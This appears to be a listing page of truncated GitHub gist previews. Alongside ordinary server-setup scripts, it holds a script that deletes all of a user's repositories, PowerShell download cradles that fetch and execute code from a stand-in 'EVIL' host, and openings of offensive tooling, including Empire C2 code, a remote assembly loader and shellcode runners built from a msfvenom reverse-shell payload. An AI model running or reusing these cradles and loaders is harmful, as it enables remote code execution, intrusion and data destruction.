This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Sudo without password | |
| sudo visudo | |
| username ALL=(ALL) NOPASSWD: ALL # At the end of the file | |
| # Get the latest updates | |
| sudo add-apt-repository universe | |
| sudo apt-get update | |
| sudo apt-get -y upgrade | |
| # Manage the repositories that you install |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # Script to reverse engineer the build of a given Debian / Ubuntu server | |
| # I do this all the time: take an existing server, create a Bash / Ansible / Puppet / Chef | |
| # built script, to allow Continuous Depoyment. | |
| # It's tedious, but this script will give you the basics to get started. | |
| # Make sure you have "sudo" access to get all the details. | |
| # setup folders |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| #eg. | |
| #bash d2 <(echo -e "1\n2\n3sa ssds\n") <(echo -e "salam 1 OR 2 OR 3sa sss ") | |
| LIST=${1:?"LIST word"} | |
| FILE=${2:?"FILE name not set"} | |
| L=$( sed -e ':a;N;$!ba;s_\n_\x00_g' ${LIST}|sed -e 's_\x00_ \\|_g' -e's_\(\\|\)*$__g') | |
| P='s_\('$L'\)__ig' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| token="Get from Github" | |
| # Gets a list of the repositories you own (not ones granted through organisation) | |
| curl -H "Authorization: token ${token}" https://api.github.com/user/repos?affiliation=owner | grep git_url | sed -r 's/( "git_url": "git:\/\/github.com\/)//' | sed -r 's/.git",//' > url_list.txt | |
| # Deletes all the repositories it found on the line before | |
| while read r;do curl -XDELETE -H 'Authorization: token ${token}' "https://api.github.com/repos/$r ";done < url_list.txt | |
| rm url_list.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import sqlite3, argparse, sys, argparse, logging, json, string | |
| import os, re, time, signal, copy, base64, pickle | |
| from flask import Flask, request, jsonify, make_response, abort, url_for | |
| from time import localtime, strftime, sleep | |
| from OpenSSL import SSL | |
| from Crypto.Random import random | |
| import ssl | |
| # Empire imports |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $Source = @" | |
| using System; | |
| using System.Net; | |
| using System.Reflection; | |
| namespace LoadAssembly { | |
| public static class LoadAssembly { | |
| public static void load() { | |
| WebClient webclient = new WebClient(); | |
| IWebProxy defaultProxy = WebRequest.DefaultWebProxy; | |
| if (defaultProxy != null) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # -*- coding: utf8 -*- | |
| # | |
| # Author: Arno0x0x, Twitter: @Arno0x0x | |
| # | |
| import argparse | |
| #====================================================================================================== | |
| # HELPERS FUNCTIONS | |
| #====================================================================================================== |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # -*- coding: utf8 -*- | |
| # This script executes a Windows shellcode within python process memory. | |
| # | |
| # Author: Arno0x0x, Twitter: @Arno0x0x | |
| # | |
| # Create a windows executable: pyinstaller --onefile --noconsole sample4.py | |
| from ctypes import * |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // Compile with: cl.exe shellcode_execute.c | |
| // | |
| // Author: Arno0x0x, Twitter: @Arno0x0x | |
| #include <Windows.h> | |
| int main() | |
| { | |
| // Payload obtained with "msfvenom -a x86 -p windows/shell/reverse_tcp LHOST=192.168.52.134" | |
| unsigned char b[] = |
NewerOlder